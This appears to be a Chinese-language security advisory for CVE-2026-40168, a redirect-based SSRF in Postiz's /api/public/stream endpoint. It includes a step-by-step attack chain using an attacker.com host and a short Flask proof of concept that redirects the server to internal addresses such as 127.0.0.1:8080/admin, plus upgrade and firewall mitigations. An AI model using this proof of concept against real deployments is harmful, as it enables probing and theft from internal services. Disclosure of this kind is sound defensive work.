IPBUF安全漏洞报告
English
CVE-2026-40168 CVSS 8.2 高危

CVE-2026-40168 Postiz SSRF漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40168
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Postiz

相关标签

SSRFPostizCWE-918信息泄露重定向绕过

漏洞概述

Postiz是一款AI社交媒体调度工具。在2.21.5版本之前,其/api/public/stream接口存在服务端请求伪造(SSRF)漏洞。尽管应用会验证初始提供的URL并阻止直接访问私有或内部主机,但它未在HTTP重定向后重新验证最终目标。因此,攻击者可以提供一个通过验证的公共HTTPS URL,随后将服务器端请求重定向到内部资源,从而导致信息泄露。

技术细节

该漏洞的核心在于对HTTP重定向处理不当的验证逻辑。Postiz应用的/api/public/stream端点接收用户提供的URL参数,并在发送请求前进行初步的安全检查,旨在防止对内网IP(如127.0.0.1、169.254.x.x等)的访问。然而,该验证仅针对初始输入的URL。当攻击者提供一个指向外部可控服务器的合法URL时,验证通过。随后,应用在处理HTTP响应时,会自动跟随服务器返回的3xx重定向状态码。攻击者只需在外部服务器上配置一个重定向(如302 Redirect),将其指向内网敏感资源(如http://localhost:6379或云元数据服务),应用端就会盲目跟随重定向向内网发起请求。由于缺乏对重定向链中最终目标的二次校验,攻击者成功绕过了SSRF防御机制,实现了对内网服务的探测或数据窃取。

攻击链分析

STEP 1
1. 探测与准备
攻击者发现目标使用存在漏洞的Postiz版本,并搭建一个可被公网访问的HTTP服务器,配置重定向规则指向内网资源。
STEP 2
2. 构造恶意请求
攻击者向Postiz的/api/public/stream端点发送请求,URL参数指向攻击者控制的外部服务器地址(如http://attacker.com/poc)。
STEP 3
3. 绕过初始验证
Postiz服务器验证初始URL为公网地址,通过安全检查。
STEP 4
4. 触发重定向
Postiz服务器向攻击者服务器发起请求,攻击者服务器返回302重定向响应,Location指向内网IP(如http://127.0.0.1:8080)。
STEP 5
5. 访问内网资源
Postiz服务器自动跟随重定向,向内网地址发起请求,未对最终目标进行二次校验,导致内网信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-40168 (Postiz SSRF) # This script simulates an attacker-controlled server that redirects to an internal resource. from flask import Flask, redirect, request app = Flask(__name__) @app.route('/poc') def redirect_to_internal(): # The target internal resource (e.g., internal admin panel, metadata service) target_internal_url = "http://127.0.0.1:8080/admin" return redirect(target_internal_url, code=302) if __name__ == '__main__': # Attacker runs this server on a public IP app.run(host='0.0.0.0', port=80) # Usage: # Send a request to the vulnerable Postiz endpoint: # POST /api/public/stream # { "url": "http://<attacker-ip>/poc" }

影响范围

Postiz < 2.21.5

防御指南

临时缓解措施
建议立即将Postiz升级至2.21.5或更高版本以修复此漏洞。如果无法立即升级,应在网络防火墙层面限制应用服务器对内网敏感地址(如127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)的出站连接,或暂时禁用受影响的API端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表